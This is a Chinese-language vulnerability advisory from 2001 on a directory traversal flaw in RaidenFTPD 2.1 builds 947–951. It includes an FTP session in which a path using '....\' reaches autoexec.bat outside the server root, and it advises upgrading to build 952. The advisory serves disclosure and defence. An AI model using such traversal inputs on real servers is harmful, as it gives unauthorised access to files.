RaidenFTPD 目录遍历漏洞
发布日期:2001-05-02
更新日期:2001-05-02
受影响系统:
Team JohnLong RaidenFTPD 2.1 build 951
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
Team JohnLong RaidenFTPD 2.1 build 950
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
Team JohnLong RaidenFTPD 2.1 build 949
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
Team JohnLong RaidenFTPD 2.1 build 948
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
Team JohnLong RaidenFTPD 2.1 build 947
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
不受影响系统:
Team JohnLong RaidenFTPD 2.1 build 952
- Microsoft Windows ME
- Microsoft Windows 98
- Microsoft Windows NT 4.0
- Microsoft Windows 2000
描述:
BUGTRAQ ID: 2655
Raiden FTPD 很容易遭受目录遍历漏洞攻击,参看测试程序举例。远程攻击者可以访
问获取ftp根目录之外的文件。
<* 来源:(
joetesta@hushmail.com) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
> ftp localhost
220-This FTP site is running free version of RaidenFTPD
220-Download chinese version from
http://playstation2.idv.tw/raiden-ftpd-site/
220-Download english version from http://playstation2.idv.tw/raidenftpd/
220-RaidenFTPD32 for RaidenFTPD (up since 2001/04/20 15:00)
220-This server is for private use only
220-If you do not have access to this server
220-Please disconnect now
220 Please enter your login name now.
User (xxxxxxxx.rh.rit.edu:(none)): jdog
331 Password required for jdog .
Password:
[really long login banner edited out]
230 User jdog logged in , proceed.
ftp> get ....\....\autoexec.bat
200 Port command ok.
150 Sending /....\....\autoexec.bat (419 bytes). Mode STREAM Type ASCII
226 Transfer finished successfully. Data connection closed.
ftp: 419 bytes received in 0.27Seconds 1.55Kbytes/sec.
ftp> cd ....
250 "/.." is current directory.
ftp>
建议:
访问如下链接,升级软件包
http://playstation2.idv.tw/download/raidenftpd2.zip
浏览次数:5020
严重程度:0(网友投票)